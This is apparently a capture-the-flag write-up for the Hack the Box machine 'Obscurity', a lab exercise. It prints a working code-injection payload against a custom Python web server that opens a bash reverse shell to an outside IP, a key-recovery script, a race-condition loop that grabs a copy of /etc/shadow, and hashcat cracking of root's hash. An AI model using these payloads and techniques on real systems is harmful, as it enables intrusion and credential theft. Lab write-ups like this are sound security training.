Hack the Box: Obscurity#

Obscurity was a medium difficulty machine on Hack the Box. Here’s my take on solving the challenge.

Obscurity

Obscurity

TLDR: There’s a custom webserver present on the machine. It also is possible to download server’s source code. There is a RCE vulnerability in the way server processes document path which can be exploited for a reverse shell. Then user password can be obtained by cracking simple encryption script. Privlege escalation can be done by exploiting vulnerability in custom SSH script which makes a temporary copy of /etc/shadow to /tmp folder revealing root’s password hash. Root’s password is weak and easly reversible.

Foothold#

Nmap scan reveals a non-standard HTTP server on the 8080 port:

# nmap -sS -sV -n -p- obscurity.htb -Pn
-- snip --

Index page reveals that there should be server’s source code in some “ secret” folder:

Unfortunately server doesn’t seem to have folder listing implemented (returns 404 for /js folder) . It means that it’s impossible to enum directories the standard way. It’s neccesary to search directly for SuperSecureServer.py . It can be done by appending the filename to the standard folder list:

# cp /usr/share/wordlists/dirb/common.txt .
# sed -e 's/$/\/SuperSecureServer.py/' -i common.txt
# dirb http://obscurity.htb:8080 common.txt
-- snip --
---- Scanning URL: http://obscurity.htb:8080/ ----
+ http://obscurity.htb:8080/develop/SuperSecureServer.py (CODE:200|SIZE:5892)                
^C

After downloading and analyzing the SuperSecureServer.py it turns out that there is a code execution vulnerability in the way the script processes path form HTTP request:

def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'"
            exec(info.format(path)) # Code execution vulnerability

Example payload that can be used to get a reverse shell:

/index.html'
__import__('os').system('/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.70/443 0>&1\"')
a='a

After encoding it to URL format it can be pasted to a HTTP request:

%2Findex.html%27%0A__import__%28%27os%27%29.system%28%27%2Fbin%2Fbash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.70%2F443%200%3E%261%5C%22%27%29%0Aa%3D%27a

Sending the payload as document path to a server should yield a reverse shell.

# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.168] 52024
www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User#

In the /home/robert there is a world readable file with a simple cipher script. It is similar to Ceasars cipher but the key can have multiple bytes (so the offsets are different for different bytes):

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

On top of that there is a check.txt file that suggests that it was ciphered using above script to out.txt file. The files can be transfered to local machine to be further processed:

$ cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct! 
robert@obscure:~$ xxd -p check.txt
456e6372797074696e6720746869732066696c65207769746820796f7572
206b65792073686f756c6420726573756c7420696e206f75742e7478742c
206d616b65207375726520796f7572206b657920697320636f7272656374
21200d0a
$ xxd -p out.txt
c2a6c39ac388c3aac39ac39ec398c39bc39dc39dc289c397c390c38ac39f
c285c39ec38ac39ac389c292c3a6c39fc39dc38bc288c39ac39bc39ac3aa
c281c399c389c3abc28fc3a9c391c392c39dc38dc390c285c3aac386c3a1
c399c39ec3a3c296c392c391c288c390c3a1c399c2a6c395c3a6c398c29e
c28fc3a3c38ac38ec38dc281c39fc39ac3aac386c28ec39dc3a1c3a4c3a8
c289c38ec38dc39ac28cc38ec3abc281c391c393c3a4c3a1c39bc38cc397
c289c28176

The files need to be recovered locally:

# echo "456e6372797074696e6720746869732066696c65207769746820796f7572 > 206b65792073686f756c6420726573756c7420696e206f75742e7478742c > 206d616b65207375726520796f7572206b657920697320636f7272656374 > 21200d0a" > check.hex # echo "c2a6c39ac388c3aac39ac39ec398c39bc39dc39dc289c397c390c38ac39f > c285c39ec38ac39ac389c292c3a6c39fc39dc38bc288c39ac39bc39ac3aa > c281c399c389c3abc28fc3a9c391c392c39dc38dc390c285c3aac386c3a1 > c399c39ec3a3c296c392c391c288c390c3a1c399c2a6c395c3a6c398c29e > c28fc3a3c38ac38ec38dc281c39fc39ac3aac386c28ec39dc3a1c3a4c3a8 > c289c38ec38dc39ac28cc38ec3abc281c391c393c3a4c3a1c39bc38cc397 > c289c28176" > out.hex # xxd -r -p check.hex check.txt # xxd -r -p out.hex out.txt

When there is available example of clean text and it’s ciphered version it is possible to calculate the key used to cipher it:

import sys

def crack(original, ciphered):
	key=""
	pos=0
	for c in ciphered:
		o=original[pos]
		ordC=ord(c)
		ordO=ord(o)
		ord(c)
		if ordC < ordO :
			ordC + 255
		keyChr=ordC-ordO
		sys.stdout.write(chr(keyChr))
		pos=pos+1
		

with open("out.txt", 'r', encoding='UTF-8',) as f:
	ciphered = f.read()
print(len(ciphered))
with open("check.txt", "r", encoding="UTF-8") as f:
	original = f.read()
print(len(original))

crack(original, ciphered)

Running the cracker reveals the key:

# python3 cracker.py 
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

The key is “alexandrovich” . It is repeated because the key is looped when it’s shorter than ciphered text.

In /home/robert there’s also a file passwordreminder.txt. It can be decoded with just recovered key:

# python3 SuperSecureCrypt.py -i passwordreminder.txt -o passwordreminderdecoded.txt -k alexandrovich -d
-- snip --
Opening file passwordreminder.txt...
Decrypting...
Writing to passwordreminderdecoded.txt...
root@kali:/home/tellico/hackthebox/obscurity# cat passwordreminderdecoded.txt 
SecThruObsFTW

With the password “ SecThruObsFTW” it is possible to SSH as robert user and grab a user flag:

# ssh robert@obscurity.htb
robert@obscurity.htb's password: SecThruObsFTW
-- snip --
robert@obscure:~$ cat user.txt
e44...

Privlege escalation#

In the /home/robert/BetterSSH folder there’s a script that is supposed to emulate(?) a SSH client. It can be exploited to reveal /etc/shadow content because it makes a temporary copy of this file in /tmp/SSH folder:

try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)

The time window before removing the temporary file is quite short but a bash script should be able to catch it’s content:

#!/bin/bash

FILES=/tmp/SSH/*

while :
do
	for f in $FILES
	do
		cat $f
		exit 0
	done
done

Running the script in one terminal and BetterSSH in another should yield a password hash:

root $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1

The hash can be reversed using hashcat:

# hashcat64.exe hashes.txt -m 1800 -a 0 rockyou.txt
-- snip --
 $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes

All that’s left to do is to su as root using password mercedes and grab the flag:

$ su
Password: mercedes
root@obscure:/tmp# cd /root
root@obscure:~# cat root.txt
512...